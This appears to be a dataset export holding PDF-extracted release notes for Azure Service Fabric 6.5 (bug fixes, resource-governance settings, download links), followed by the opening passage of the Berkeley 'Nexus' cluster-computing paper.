Ubuntu. Once you have upgraded to this version, you can safely \nupgrade to this 6.5 refresh release versio n. \n Service Fabric Common Bug Fixes \nVersions IssueType Description Resolution \nUbuntu 6.5.454.1 Bug When creating \ncompose \napplication, one \nmore \"fabric:/\" is \nadded to the \napplication instance \nname. This name is \nused to generate log \ndriver in Linux. The \nwrong name with \ntwo \"fabric:/\" prefix \nused by log driver \ncauses compose \napplication creation \nto fail . Impact : Compose application in Linux cannot be created. \nFix: Remove the additional “fabric:/\" when creating compose application instance. \n \nUbuntu 6.5.454.1 \nWindows \n6.5.641.9590 \n Bug Compose \napplications are \nmigrated to use new \nworkflow in Cluster \nManager in 6.5. If \ncompose \napplications are \nupgraded before , \nCluster Manager \nwill crash when \ncluster is upgrading \nto 6.5. Impact : If compose applications are upgraded before, then Cluster Manager will crash if cluster \nis upgrading to 6.5. \nFix: The issue is if compose application is upgraded before, it will reset its upgrade description to \nnull. When migrating, the description is used to creating new data for compose application , and \nnull causes migration failed . Fix to check null upgrade description before migration. \nUbuntu 6.5.454.1 \nWindows \n6.5.641.9590 \n Bug Version 6.5 of \nService Fabric \nintroduced a \nregression in \ncalculating \nplacement \nconstraints . Impact : In cases when the placement constraint for a service contains operator “==” and has a \nproperty value starting with the letter P, the placement property expression will not be calculated \ncorrectly and will be ignored. \n Fix: This refresh release fixes this problem and removes the regression. Ubuntu 6.5.454.1 \nWindows \n6.5.641.9590 \n Bug Protecting system \nentities from \nrunaway 'user' \ncode Few customers encountered problems due to runaway user services consuming all the resources \non Service Fabric nodes. The resource exhaustion (spinning CPU, memory exhaustion, \nhammering disk IO, disk space exhaustion) resulted in several bad effects including starving other \nservices on the nodes, nodes ending up in a bad state, complex mitigation and recovery steps, and \nunresponsive cluster management APIs. \n \nWith this version of Service Fabric, you can now set up resource protection between the system \nand user services on a node. Service Fabric will enforce these hard resource limits \nfor user services to guarantee that all the non -system services on a node will never use more than \nthe specified amount of resources. \n \nThis release adds an additional configuration option: EnforceUserServiceMetricCapacities. This \nconfig is in the PlacementAndLoadBalancing section of your ClusterManifest/ClusterConfig, and \nis OFF by default (to prevent unexpected surprises fo r existing customers during upgrades). \n \n \n \n \n{ \n\"name\" : \"PlacementAndLoadBalancing\" , \n \"parameters\" : [ { \n\"name\" : \"EnforceUserServiceMetricCapacities\" , \n\"value\" : \"true\" } ] \n} \n \nThis feature depends on Node Capacities for the Service Fabric resource governed \nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -resource -governance metrics \n(as of this writing Memory and CPU Cores) being set. These capacities can be set either \nautomatically ( AutoDetectAvailableResources flag is false) or manually. If no capacities are set, \nthe node is considered to have infinite capacity for the given metric, and hence this feature cannot \nbe used (since SF doesn't know how much resources to reserve for system services). \nSF will issue a health warning if \"EnforceUserServiceMetricCapacities\" is true but capacities are \nnot specified. \n \nThe specified metric capacity for the node is then divided between the user services defines and \nthe rest of the system. The amount dedicated to the user serv ices vs. the amount dedicated to the \nsystem is controlled by the following settings: \n \n \n \nThese ratios are defined by default. By default 80% of node capacity is used for user \nservices and 20% will be left to allow enough resources for the SF system \nservices (and also for any other processes/apps running on the node that are not visible to SF). \nThese settings are static and upgrades to change them will require node restarts. User service \ncapacity is enforced only for governed SF metrics (Memory and CP U Cores as of this writing). \nFor non -governed metrics, it's treated as a soft guarantee (violations are possible, but if they \nhappen, load balancer will trigger and attempt to fix the violation by moving services around, just \nlike normal capacity violation s). The SF system services are effectively ungoverned , and they \ncan go beyond of their quota. Effectively constraining the system components and preventing \nthem from growing beyond their allotment will be handled in an upcoming release. \n \n \nWith this change, user services metric capacity can also be defined per Node Type. T At the \nNodeType level, a new section is added named UserServicesMetricCapacity. Within this section, \nthe same setting names and behavior can be defined and will result in the same behavior as \ndescribed for the Cluster Manifest level settings. If metric capacity is defined in both places, node \ntype definition takes precedence. \n \n \n \n \n \n \n \n \nThis release also fixes an issue in the calculation of node capacities. The rule for calcu lating \ncapacity has changed to account for percentage value ( User Services Capacity = \nNode Capacity * User Services Capacity Percentage ) \n \nPreviously, if user provided an override value for node capacity in NodeType, the % value was \nignored. This could be surprising to some users. \n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \nNode \ncapacity \nauto-\ndetected \nvalue 100 100 100 100 \nNode \ncapacity \nuser \noverride - 90 - 90 \nUser \nservices \ncapacity \ndefault in \ncluster \nmanifest 0.7 0.7 0.7 0.7 \nUser \nservices \ncapacity \ndefault in \nNode Type - - 0.5 0.5 \nUser \nservices \ncapacity - \nactual value 70 90 50 90 \n \nWith this release, if user provides an override for the absolute capacity in NodeType, the % value \nis NOT ignored, and will further discount the av ailable resources on the node. \n \n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \n \n \n Node \ncapacity \nauto-\ndetected \nvalue \n 100 100 100 100 \nNode \ncapacity \nuser \noverride \n - 90 - 90 \nUser \nservices \ncapacity \ndefault in \ncluster \nmanifest \n 0.7 0.7 0.7 0.7 \nUser \nservices \ncapacity \ndefault in \nNode Type \n - - 0.5 0.5 \nUser \nservices \ncapacity - \nactual value \n 70 63 50 45 \n Repositories and Download Links \nThe table below is an overview of the direct links to the packages associated with this release. \nFollow this guidance for setting up your developer environment: \n• Linux: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -linux \n• Mac: https://docs.microsoft.com/en -us/azure/service -fabric/servic e-fabric -get-started -mac \n• Windows: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started \nArea Package Versio\nn Repository Direct Download Link \nServic\ne \nFabri\nc \nRunti\nme Ubuntu Developer Set -up 6.5.45\n4.1 N/A Cluster Runtime: \nhttps://apt -\nmo.trafficmanager.net/repos/servicefabric/pool/main/s\n/servicefabric \nService Fabric SDK for local cluster setup: \nhttps://apt -\nmo.trafficmanager.net/repos/servicefabric/pool/main/s\n/servicefabricsdkcommon / \nContainer image: \nhttps://hub.docker.com/r/microsoft/service -fabric -\nonebox/ \n Red Hat Developer Set -up 6.1.18\n9.1 N/A Cluster Runtime: \nhttps://packages.microsoft.com/yumrepos/microsoft -\nrhel7.4 -prod/ \nService Fabric SDK for local cluster setup: \nhttps://packages.microsoft.com/yumrepos/microsoft -\nrhel7.4 -prod/servicefabric_sdkcommon_1.1.2.rpm \n \n Windows Developer Set -up 6.4.64\n1.9590 N/A https://download.microsoft.com/download/9/2/0/920B\n15E6 -8CC1 -4413 -8978 -\n123B77288B40/MicrosoftServiceFabric.6.5.641.95 90.\nexe \nServic\ne \nFabri\nc for \nWind\nows \nServe\nr Service Fabric Standalone \nInstaller Package 6.4.64\n1.9590 \n N/A https://download.microsoft.com/download/8/3/6/836E\n3E99 -A300 -4714 -8278 -\n96BC3E8B5528 /6.5.641.9590/Microsoft.Azure.Servic\neFabric.WindowsServer.6.5.641.9590.zip \nService Fabric Standalone \nRuntime 6.4.64\n1.9590 N/A https://download.microsoft.com/download/B/0/B/B0B\nCCAC5 -65AA -4BE3 -AB13 -\nD5FF5890F4B5/6.5.641.9590/Mi crosoftAzureService\nFabric.6.5.641.9590.cab \n.NET \nSDK Windows .NET SDK 3.4.64\n1 N/A https://download.microsoft.com/download/9/2/0/920B\n15E6 -8CC1 -4413 -8978 -\n123B77288B40/MicrosoftServiceFabricSDK.3.4.641.\nmsi \nMicrosoft.ServiceFabric 6.4.64\n1 N/A https://www.nuget.org \nReliable Services and \nReliable Actors \n• Microsoft.ServiceFab\nric.Services \n• Microsoft.ServiceFab\nric.Services.Remoting 3.4.64\n1 https://github.com/Azure/service -\nfabric -services -and-actors -dotnet https://www.nuget.org • Microsoft.ServiceFab\nric.Services.Wcf \n• Microsoft.ServiceFab\nric.Actors \nMicrosoft.ServiceFabric.Acto\nrs.Wcf \nASP.NET Core Service \nFabric integration \nMicrosoft.ServiceFabric.Servi\nces.AspNetCore.* 3.4.64\n1 https://github.com/Azure/service -\nfabric -aspnetcore https://www.nuget.org \n.NET \nSDK Data, Diagnostics and Fabric \ntransport \n• Microsoft.ServiceFab\nric.Data \n• Microsoft.ServiceFab\nric.Data.Interfaces \n• Microsoft.ServiceFab\nric.Diagnostics.Intern\nal \nMicrosoft.ServiceFabric.Fabri\ncTransport.Internal 3.4.64\n1 N/A https://www.nuget.org \n.NET \nSDK Microsoft.ServiceFabric.Data.\nExtensions 1.4.64\n1 N/A https://www.nuget.org \n \nJava \nSDK Java SDK 1.0.5 N/A https://mvnrepository.com/artifact/com.microsoft.servi\ncefabric/sf -actors/1.0.0 \nVisual \nStudi\no Visual Studio 2017 Tools for \nService Fabric 2.5.20\n608.1 N/A Included in Visual Studio 2017 Update 7 (15.7) and \nabove \nVisual Studio 2015 Tools for \nService Fabric 2.5.20\n615.1 N/A See localized download links below \nEclips\ne Service Fabric plug -in for \nEclipse 2.0.7 N/A N/A \nYeom\nan Azure Service Fabric Java \ngenerator 1.0.7 https://github.com/Azure/generato\nr-azuresfjava N/A \nVisual Studio 2015 Tool for Service Fabric – localized download links \nNOTE: The below download links are for the 2.5.20615.1 release of Visual Studio 2015 Tools for Service Fabric. \nhttps://download.microsoft.com/download/9/2/0/92 0B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.de -de.msi \nhttps://download.micr osoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.fr -fr.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.ko -kr.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools .VS140.ru -ru.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.zh -cn.msi \nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFab ricTools.VS140.zh -tw.msi Azure Service Fabric C# \ngenerator 1.0.9 https://github.com/Azure/generato\nr-azuresfcsharp N/A \nAzure Service Fabric guest \nexecutables generator 1.0.1 https://github.com/Azure/generato\nr-azuresfguest N/A \nAzure Service Fabric \nContainer generators 1.0.1 https://github.com/Azure /generato\nr-azuresfcontainer N/A \nCLI Service Fabric CLI 8.0.0 https://github.com/Azure/service -\nfabric -cli https://pypi.python.org/pypi/sfctl \nPower\nShell AzureRM.ServiceFabric 0.3.15 https://github.com/Azure/azure -\npowershell/tree/preview/src/Resou\nrceManager/ServiceFabric https://www.powershellgallery.com/packages/AzureR\nM.ServiceFabric/0.3.15 "}],"string":"[\n {\n \"data\": \"Microsoft Azure Service Fabric 6.5 First Refresh Release Notes \\nThis release includes the bug fixes and features described in this document. This release includes runtime, SDKs and Windows Server Standalone \\ndeployments to run on -premises. \\nThe following packages and versions are part of this release \\nService Fabric Runtime Ubuntu 6.5.454.1 \\nWindows 6.5.641.9590 \\nService Fabric for Windows Server Service Fabric Standalone Installer \\nPackage 6.5.641.9590 \\n.NET SDK Windows .NET SDK 3.4.641 \\nMicrosoft.ServiceFabric 6.5.641 \\nReliable Services and Reliable \\nActors 3.4.641 \\nASP.NET Core Service Fabric \\nintegration 3.4.641 \\nJava SDK Java for Linux SDK 1.0.5 \\nService Fabric PowerShell and CLI AzureRM PowerShell Module 0.3.15 \\nSFCTL 8.0.0 \\nService Fabric Tooling Visual Studio Tooling 2.5.20615.1 \\n \\nEclipse Tooling 2.0.7 \\n Table of Contents \\nMicrosoft Azure Service Fabric 6.5 First Refresh Release Notes ................................ ................................ ................................ ................................ . 1 \\nBreaking announcements ................................ ................................ ................................ ................................ ................................ .............................. 3 \\nUpgrade requirements for Docker Co mpose customers ................................ ................................ ................................ ................................ ............... 5 \\nService Fabric Common Bug Fixes ................................ ................................ ................................ ................................ ................................ ................. 6 \\nRepositories and Download Links ................................ ................................ ................................ ................................ ................................ ................ 11 \\nVisual Studio 2015 Tool for Service Fabric – localized download links ................................ ................................ ................................ ................. 14 \\n Breaking announcements \\n• Protecting system entities from runaway 'user' code : From 6.5 version onwards , users can set up resource protection between the \\nsystem and user services on a node. Service Fabric will enforce these hard resource limits for user services to guarantee that all the non -\\nsystem services on a node will never use more than the specified amount of resources. Please refer to this section for configuration \\ndetails . Upgrade requirements for Docker Compose customers \\nFor any customers running a Docker Compose application on their cluster. Please follow the guidance given below \\nfor each scenario, \\n• Cluster had been upgrade d to version 6.5.435.1 for Ubuntu or version 6.5.639.9590 for Windows and experiencing cluster availability issues : Please \\nreach out to us through Azure Portal Help for assistance with this issue. Here are your general support options for Service Fabric: \\nhttps://docs.microsoft.com/azu re/service -fabric/service -fabric -support . \\n \\n• Cluster had been upgraded to version 6.5.435.1 for Ubuntu or version 6.5.639.9590 for Windows and are not experiencing any issues : Need to \\nupgrade the cluster to this 6.5 refresh release version as soon as possible. \\n \\n• Cluster had not been upgraded to version 6.5.435.1 for Ubuntu or version 6.5.639.9590 for Windows : Need to first upgrade the cluster to the latest \\nversion of 6.4. This would be version 6.4.664.9590 + for Windows and 6.4.661.1 + for Ubuntu. Once you have upgraded to this version, you can safely \\nupgrade to this 6.5 refresh release versio n. \\n Service Fabric Common Bug Fixes \\nVersions IssueType Description Resolution \\nUbuntu 6.5.454.1 Bug When creating \\ncompose \\napplication, one \\nmore \\\"fabric:/\\\" is \\nadded to the \\napplication instance \\nname. This name is \\nused to generate log \\ndriver in Linux. The \\nwrong name with \\ntwo \\\"fabric:/\\\" prefix \\nused by log driver \\ncauses compose \\napplication creation \\nto fail . Impact : Compose application in Linux cannot be created. \\nFix: Remove the additional “fabric:/\\\" when creating compose application instance. \\n \\nUbuntu 6.5.454.1 \\nWindows \\n6.5.641.9590 \\n Bug Compose \\napplications are \\nmigrated to use new \\nworkflow in Cluster \\nManager in 6.5. If \\ncompose \\napplications are \\nupgraded before , \\nCluster Manager \\nwill crash when \\ncluster is upgrading \\nto 6.5. Impact : If compose applications are upgraded before, then Cluster Manager will crash if cluster \\nis upgrading to 6.5. \\nFix: The issue is if compose application is upgraded before, it will reset its upgrade description to \\nnull. When migrating, the description is used to creating new data for compose application , and \\nnull causes migration failed . Fix to check null upgrade description before migration. \\nUbuntu 6.5.454.1 \\nWindows \\n6.5.641.9590 \\n Bug Version 6.5 of \\nService Fabric \\nintroduced a \\nregression in \\ncalculating \\nplacement \\nconstraints . Impact : In cases when the placement constraint for a service contains operator “==” and has a \\nproperty value starting with the letter P, the placement property expression will not be calculated \\ncorrectly and will be ignored. \\n Fix: This refresh release fixes this problem and removes the regression. Ubuntu 6.5.454.1 \\nWindows \\n6.5.641.9590 \\n Bug Protecting system \\nentities from \\nrunaway 'user' \\ncode Few customers encountered problems due to runaway user services consuming all the resources \\non Service Fabric nodes. The resource exhaustion (spinning CPU, memory exhaustion, \\nhammering disk IO, disk space exhaustion) resulted in several bad effects including starving other \\nservices on the nodes, nodes ending up in a bad state, complex mitigation and recovery steps, and \\nunresponsive cluster management APIs. \\n \\nWith this version of Service Fabric, you can now set up resource protection between the system \\nand user services on a node. Service Fabric will enforce these hard resource limits \\nfor user services to guarantee that all the non -system services on a node will never use more than \\nthe specified amount of resources. \\n \\nThis release adds an additional configuration option: EnforceUserServiceMetricCapacities. This \\nconfig is in the PlacementAndLoadBalancing section of your ClusterManifest/ClusterConfig, and \\nis OFF by default (to prevent unexpected surprises fo r existing customers during upgrades). \\n \\n \\n \\n \\n{ \\n\\\"name\\\" : \\\"PlacementAndLoadBalancing\\\" , \\n \\\"parameters\\\" : [ { \\n\\\"name\\\" : \\\"EnforceUserServiceMetricCapacities\\\" , \\n\\\"value\\\" : \\\"true\\\" } ] \\n} \\n \\nThis feature depends on Node Capacities for the Service Fabric resource governed \\nhttps://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -resource -governance metrics \\n(as of this writing Memory and CPU Cores) being set. These capacities can be set either \\nautomatically ( AutoDetectAvailableResources flag is false) or manually. If no capacities are set, \\nthe node is considered to have infinite capacity for the given metric, and hence this feature cannot \\nbe used (since SF doesn't know how much resources to reserve for system services). \\nSF will issue a health warning if \\\"EnforceUserServiceMetricCapacities\\\" is true but capacities are \\nnot specified. \\n \\nThe specified metric capacity for the node is then divided between the user services defines and \\nthe rest of the system. The amount dedicated to the user serv ices vs. the amount dedicated to the \\nsystem is controlled by the following settings: \\n \\n \\n \\nThese ratios are defined by default. By default 80% of node capacity is used for user \\nservices and 20% will be left to allow enough resources for the SF system \\nservices (and also for any other processes/apps running on the node that are not visible to SF). \\nThese settings are static and upgrades to change them will require node restarts. User service \\ncapacity is enforced only for governed SF metrics (Memory and CP U Cores as of this writing). \\nFor non -governed metrics, it's treated as a soft guarantee (violations are possible, but if they \\nhappen, load balancer will trigger and attempt to fix the violation by moving services around, just \\nlike normal capacity violation s). The SF system services are effectively ungoverned , and they \\ncan go beyond of their quota. Effectively constraining the system components and preventing \\nthem from growing beyond their allotment will be handled in an upcoming release. \\n \\n \\nWith this change, user services metric capacity can also be defined per Node Type. T At the \\nNodeType level, a new section is added named UserServicesMetricCapacity. Within this section, \\nthe same setting names and behavior can be defined and will result in the same behavior as \\ndescribed for the Cluster Manifest level settings. If metric capacity is defined in both places, node \\ntype definition takes precedence. \\n \\n \\n \\n \\n \\n \\n \\n \\nThis release also fixes an issue in the calculation of node capacities. The rule for calcu lating \\ncapacity has changed to account for percentage value ( User Services Capacity = \\nNode Capacity * User Services Capacity Percentage ) \\n \\nPreviously, if user provided an override value for node capacity in NodeType, the % value was \\nignored. This could be surprising to some users. \\n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \\nNode \\ncapacity \\nauto-\\ndetected \\nvalue 100 100 100 100 \\nNode \\ncapacity \\nuser \\noverride - 90 - 90 \\nUser \\nservices \\ncapacity \\ndefault in \\ncluster \\nmanifest 0.7 0.7 0.7 0.7 \\nUser \\nservices \\ncapacity \\ndefault in \\nNode Type - - 0.5 0.5 \\nUser \\nservices \\ncapacity - \\nactual value 70 90 50 90 \\n \\nWith this release, if user provides an override for the absolute capacity in NodeType, the % value \\nis NOT ignored, and will further discount the av ailable resources on the node. \\n \\n Scenario 1 Scenario 2 Scenario 3 Scenario 4 \\n \\n \\n Node \\ncapacity \\nauto-\\ndetected \\nvalue \\n 100 100 100 100 \\nNode \\ncapacity \\nuser \\noverride \\n - 90 - 90 \\nUser \\nservices \\ncapacity \\ndefault in \\ncluster \\nmanifest \\n 0.7 0.7 0.7 0.7 \\nUser \\nservices \\ncapacity \\ndefault in \\nNode Type \\n - - 0.5 0.5 \\nUser \\nservices \\ncapacity - \\nactual value \\n 70 63 50 45 \\n Repositories and Download Links \\nThe table below is an overview of the direct links to the packages associated with this release. \\nFollow this guidance for setting up your developer environment: \\n• Linux: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started -linux \\n• Mac: https://docs.microsoft.com/en -us/azure/service -fabric/servic e-fabric -get-started -mac \\n• Windows: https://docs.microsoft.com/en -us/azure/service -fabric/service -fabric -get-started \\nArea Package Versio\\nn Repository Direct Download Link \\nServic\\ne \\nFabri\\nc \\nRunti\\nme Ubuntu Developer Set -up 6.5.45\\n4.1 N/A Cluster Runtime: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicefabric/pool/main/s\\n/servicefabric \\nService Fabric SDK for local cluster setup: \\nhttps://apt -\\nmo.trafficmanager.net/repos/servicefabric/pool/main/s\\n/servicefabricsdkcommon / \\nContainer image: \\nhttps://hub.docker.com/r/microsoft/service -fabric -\\nonebox/ \\n Red Hat Developer Set -up 6.1.18\\n9.1 N/A Cluster Runtime: \\nhttps://packages.microsoft.com/yumrepos/microsoft -\\nrhel7.4 -prod/ \\nService Fabric SDK for local cluster setup: \\nhttps://packages.microsoft.com/yumrepos/microsoft -\\nrhel7.4 -prod/servicefabric_sdkcommon_1.1.2.rpm \\n \\n Windows Developer Set -up 6.4.64\\n1.9590 N/A https://download.microsoft.com/download/9/2/0/920B\\n15E6 -8CC1 -4413 -8978 -\\n123B77288B40/MicrosoftServiceFabric.6.5.641.95 90.\\nexe \\nServic\\ne \\nFabri\\nc for \\nWind\\nows \\nServe\\nr Service Fabric Standalone \\nInstaller Package 6.4.64\\n1.9590 \\n N/A https://download.microsoft.com/download/8/3/6/836E\\n3E99 -A300 -4714 -8278 -\\n96BC3E8B5528 /6.5.641.9590/Microsoft.Azure.Servic\\neFabric.WindowsServer.6.5.641.9590.zip \\nService Fabric Standalone \\nRuntime 6.4.64\\n1.9590 N/A https://download.microsoft.com/download/B/0/B/B0B\\nCCAC5 -65AA -4BE3 -AB13 -\\nD5FF5890F4B5/6.5.641.9590/Mi crosoftAzureService\\nFabric.6.5.641.9590.cab \\n.NET \\nSDK Windows .NET SDK 3.4.64\\n1 N/A https://download.microsoft.com/download/9/2/0/920B\\n15E6 -8CC1 -4413 -8978 -\\n123B77288B40/MicrosoftServiceFabricSDK.3.4.641.\\nmsi \\nMicrosoft.ServiceFabric 6.4.64\\n1 N/A https://www.nuget.org \\nReliable Services and \\nReliable Actors \\n• Microsoft.ServiceFab\\nric.Services \\n• Microsoft.ServiceFab\\nric.Services.Remoting 3.4.64\\n1 https://github.com/Azure/service -\\nfabric -services -and-actors -dotnet https://www.nuget.org • Microsoft.ServiceFab\\nric.Services.Wcf \\n• Microsoft.ServiceFab\\nric.Actors \\nMicrosoft.ServiceFabric.Acto\\nrs.Wcf \\nASP.NET Core Service \\nFabric integration \\nMicrosoft.ServiceFabric.Servi\\nces.AspNetCore.* 3.4.64\\n1 https://github.com/Azure/service -\\nfabric -aspnetcore https://www.nuget.org \\n.NET \\nSDK Data, Diagnostics and Fabric \\ntransport \\n• Microsoft.ServiceFab\\nric.Data \\n• Microsoft.ServiceFab\\nric.Data.Interfaces \\n• Microsoft.ServiceFab\\nric.Diagnostics.Intern\\nal \\nMicrosoft.ServiceFabric.Fabri\\ncTransport.Internal 3.4.64\\n1 N/A https://www.nuget.org \\n.NET \\nSDK Microsoft.ServiceFabric.Data.\\nExtensions 1.4.64\\n1 N/A https://www.nuget.org \\n \\nJava \\nSDK Java SDK 1.0.5 N/A https://mvnrepository.com/artifact/com.microsoft.servi\\ncefabric/sf -actors/1.0.0 \\nVisual \\nStudi\\no Visual Studio 2017 Tools for \\nService Fabric 2.5.20\\n608.1 N/A Included in Visual Studio 2017 Update 7 (15.7) and \\nabove \\nVisual Studio 2015 Tools for \\nService Fabric 2.5.20\\n615.1 N/A See localized download links below \\nEclips\\ne Service Fabric plug -in for \\nEclipse 2.0.7 N/A N/A \\nYeom\\nan Azure Service Fabric Java \\ngenerator 1.0.7 https://github.com/Azure/generato\\nr-azuresfjava N/A \\nVisual Studio 2015 Tool for Service Fabric – localized download links \\nNOTE: The below download links are for the 2.5.20615.1 release of Visual Studio 2015 Tools for Service Fabric. \\nhttps://download.microsoft.com/download/9/2/0/92 0B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.de -de.msi \\nhttps://download.micr osoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.en -us.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.es -es.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.fr -fr.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.it -it.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.ja -jp.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.ko -kr.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools .VS140.ru -ru.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFabricTools.VS140.zh -cn.msi \\nhttps://download.microsoft.com/download/9/2/0/920B15E6 -8CC1 -4413 -8978 -123B77288B40/MicrosoftAzureServiceFab ricTools.VS140.zh -tw.msi Azure Service Fabric C# \\ngenerator 1.0.9 https://github.com/Azure/generato\\nr-azuresfcsharp N/A \\nAzure Service Fabric guest \\nexecutables generator 1.0.1 https://github.com/Azure/generato\\nr-azuresfguest N/A \\nAzure Service Fabric \\nContainer generators 1.0.1 https://github.com/Azure /generato\\nr-azuresfcontainer N/A \\nCLI Service Fabric CLI 8.0.0 https://github.com/Azure/service -\\nfabric -cli https://pypi.python.org/pypi/sfctl \\nPower\\nShell AzureRM.ServiceFabric 0.3.15 https://github.com/Azure/azure -\\npowershell/tree/preview/src/Resou\\nrceManager/ServiceFabric https://www.powershellgallery.com/packages/AzureR\\nM.ServiceFabric/0.3.15 \"\n }\n]"}}},{"rowIdx":39462,"cells":{"tag":{"kind":"string","value":"{\n \"category\": \"Orchestration & Management\",\n \"file_name\": \"hotcloud_nexus.pdf\",\n \"project_name\": \"Apache Mesos\",\n \"subcategory\": \"Scheduling & Orchestration\"\n}"},"content":{"kind":"list like","value":[{"data":"A Common Substrate for Cluster Computing\nBenjamin Hindman, Andy Konwinski, Matei Zaharia, Ion Stoica\nUniversity of California, Berkeley\nfbenh,andyk,matei,istoica g@cs.berkeley.edu\nAbstract\nThe success of MapReduce has sparked many e\u000borts\nto design cluster computing frameworks. We argue\nthat no single framework will be optimal for all ap-\nplications, and that we should instead enable organi-\nzations to run multiple frameworks e\u000eciently in the\nsame cloud. Furthermore, to ease development of new\nframeworks, it is critical to identify common abstrac-\ntions and modularize their architectures. To achieve\nthese goals, we propose Nexus, a low-level substrate\nthat provides isolation and e\u000ecient resource sharing\nacross frameworks running on the same cluster, while\ngiving each framework freedom to implement its own\nprogramming model and fully control the execution\nof its jobs. Nexus fosters innovation in the cloud by\nletting organizations run new frameworks alongside\nexisting ones and by letting framework developers fo-\ncus on speci\fc applications rather than building one-\nsize-\fts-all frameworks.\n1 Introduction\nIt has become increasingly clear that di\u000berent\ncloud applications bene\ft from di\u000berent program-\nming models. MapReduce [8] is attractive for its\nsimplicity, but this simplicity makes it di\u000ecult to\nexpress some computations. This led to the devel-\nopment of higher-level, domain-speci\fc abstractions\nthat use MapReduce as an execution substrate, like\nSawzall [15] and Pig [14], and of more general pro-\ngramming models that provide their own execution\nsubstrate, like Dryad [12]. However, making a pro-\ngramming model too general increases complexity\n(Dryad is arguably more complex than MapReduce)\nand decreases the opportunity to optimize programs\nusing application-speci\fc knowledge. We have iden-\nti\fed several applications that are hard to express\ne\u000eciently even in Dryad. We believe that no single\ngeneral programming model for the cloud will exist.\nInstead, multiple cluster computing frameworks will\nemerge, providing various programming models with\ndi\u000berent tradeo\u000bs. In this context, it is critical to\nidentify abstractions and system constructs that fa-\ncilitate the development of such new frameworks.As new programming models and new frameworks\nemerge, they will need to share computing resources\nand data sets. For example, a company using\nHadoop [3] should not have to build a second cluster\nand copy data into it to run a Dryad job. Sharing re-\nsources between frameworks is di\u000ecult today because\nframeworks perform both job execution management\nand resource management. For example, Hadoop acts\nlike a \\cluster OS\" that allocates resources among\nusers in addition to running jobs. To enable diverse\nframeworks to coexist, Nexus decouples job execution\nmanagement from resource management by provid-\ning a simple resource management layer over which\nframeworks like Hadoop and Dryad can run. Nexus\nprovides a \\slot\" abstraction, in which frameworks\nmay run \\tasks\" that do arbitrary work. Along with a\nmechanism called \\slot o\u000bers\", the \fne granularity of\nslots lets Nexus achieve more e\u000ecient resource shar-\ning across frameworks than would be possible with\ntraditional coarse-grained cluster scheduling systems\nlike Torque [17]. Nexus is analogous to a \\cluster\nhypervisor\": it provides isolation and multiplexing\nwhile giving each framework a high level of control\nover its own execution.\nNexus is bene\fcial even to organizations that only\nwish to run Hadoop. Two concerns in Hadoop to-\nday are scalability and robustness of the master pro-\ncess. Because the master manages alljobs running in\nthe cluster (so it can perform resource allocation), it\nmust be highly robust, and must scale to hundreds of\njobs across thousands of nodes. Any scheduling logic\nthat goes into the master must be tested extensively,\nbecause a bug in the master will crash the whole clus-\nter. Consequently, companies like Yahoo! and Face-\nbook run 6-10 month old versions of Hadoop even\nthough new versions provide signi\fcant performance\nand functionality improvements. If these organiza-\ntions ran Hadoop on Nexus, they would be able to run\nseparate Hadoop masters for each job, mitigating the\nscaling and robustness problems. Furthermore, they\ncould even run a stable version of Hadoop for pro-\nduction jobs and a faster but less stable version for\nexperimental jobs simultaneously. The Nexus master\n1can be made robust and scalable more easily than\nthe Hadoop master because it is a smaller codebase,\nperforms simpler logic, and rarely needs to change.\nIn this way, Nexus resembles a microkernel architec-\nture: the component that must be the most reliable\n(the resource manager) is made as small as possible.\nThis paper is organized as follows. In Section 2 we\nshow examples of applications to which MapReduce\nand Dryad are not well suited. Section 3 